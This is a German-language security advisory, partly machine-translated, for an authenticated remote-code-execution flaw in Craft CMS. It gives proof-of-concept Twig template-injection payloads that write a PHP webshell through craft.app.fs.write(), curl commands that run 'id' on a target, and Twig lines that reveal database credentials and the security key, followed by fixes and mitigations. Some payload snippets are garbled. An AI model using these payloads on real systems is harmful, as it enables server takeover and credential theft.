Authenticated RCE via "craft.app.fs.write()" in Twig Templates
Beschreibung
## Zusammenfassung Ein authentifizierter Administrator kann Remote Code Execution (RCE) erreichen, indem er eine Server-Side Template Injection (SSTI)-Nutzlast in Twig-Vorlagenfelder (z. B. E-Mail-Vorlagen) einfügt. Durch den Aufruf der Methode `craft.app.fs.write()` kann ein Angreifer ein bösartiges PHP-Skript in ein webzugängliches Verzeichnis schreiben und anschließend über den Browser darauf zugreifen, um beliebige Systembefehle auszuführen. --- ## Proof of Concept ### Attack Prerequisites - Authentifiziertes Administratorkonto mit aktiviertem `allowAdminChanges` oder Zugriff auf das Dienstprogramm Systemnachrichten ### Schritte zum Reproduzieren 1. Navigieren Sie zu **Utilities → System Messages** (`/admin/utilities/system-messages`) 2. Bearbeiten Sie eine E-Mail-Vorlage (z. B. "E-Mail testen") und fügen Sie Folgendes in den Textkörper (oder das Subjekt) ein: - Um es auszunutzen, indem Sie in ein Dateisystem schreiben: - **Hinweis:** Ersetzen Sie das Dateisystemhandle (z. B. "hardDisk") durch ein gültiges Handle, das in der Zielinstallation konfiguriert ist. ```twig {{craft.app.fs.getFilesystemByHandle('hardDisk'))write('shell.php', ''') }} ``` - Um es auszunutzen, indem man in ein Volumen schreibt: - **Hinweis:** Ersetzen Sie den Volumengriff (z. B. "Bilder") durch einen gültigen Griff, der in der Zielinstallation konfiguriert ist. ```twig {{craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', ''') }} ``` Save & go to **Settings → Email** (`/admin/settings/email`) 4. Click **"Test"** at the bottom of the page to trigger template rendering 5. Die Webshell wird nun in das Dateisystem/Volume geschrieben. Zugriff per Curl oder direkt aus dem Browser: **Hinweis:** Der Pfad kann an Ihrem Ende je nach Dateisystem oder Volumenkonfiguration unterschiedlich sein. ``bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) `` --- ## Additional Impact Die gleiche "craft.app"-Belichtung ohne Sicherheitsmaßnahmen ermöglicht zusätzliche Angriffsvektoren: ### Database Credential Disclosure Database-Anmeldeinformationen werden in ".env" außerhalb des Webroot gespeichert und sind für Administratoren über die Benutzeroberfläche nicht zugänglich. Dadurch wird dieser Schutz umgangen. ```twig {{craft.app.db.username }} {{craft.app.db.dsn }} {{craft.app.db.dsn }} ``### Security Key Disclosure Craft löscht den Sicherheitsschlüssel explizit aus phpinfo und Fehlerprotokollen und gibt an, dass er geschützt sein sollte. "craft.app.config.general.securityKey" umgeht diesen Schutz jedoch. ```twig {{craft.app.config.general.securityKey }} ``` ## Recommended Fix - **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, und ähnliche destruktive Methoden - **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the whole application ## Referenzen https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
Quellen & weiterführende Informationen
Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.
Was ist zur Behebung zu tun?
Auf eine behobene Version aktualisieren: 4.17.0, 5.9.0.
Empfohlene Schritte
- Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
- Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
- Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
- Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.
Übergangsmaßnahmen
- Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
- WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
- Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
- Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.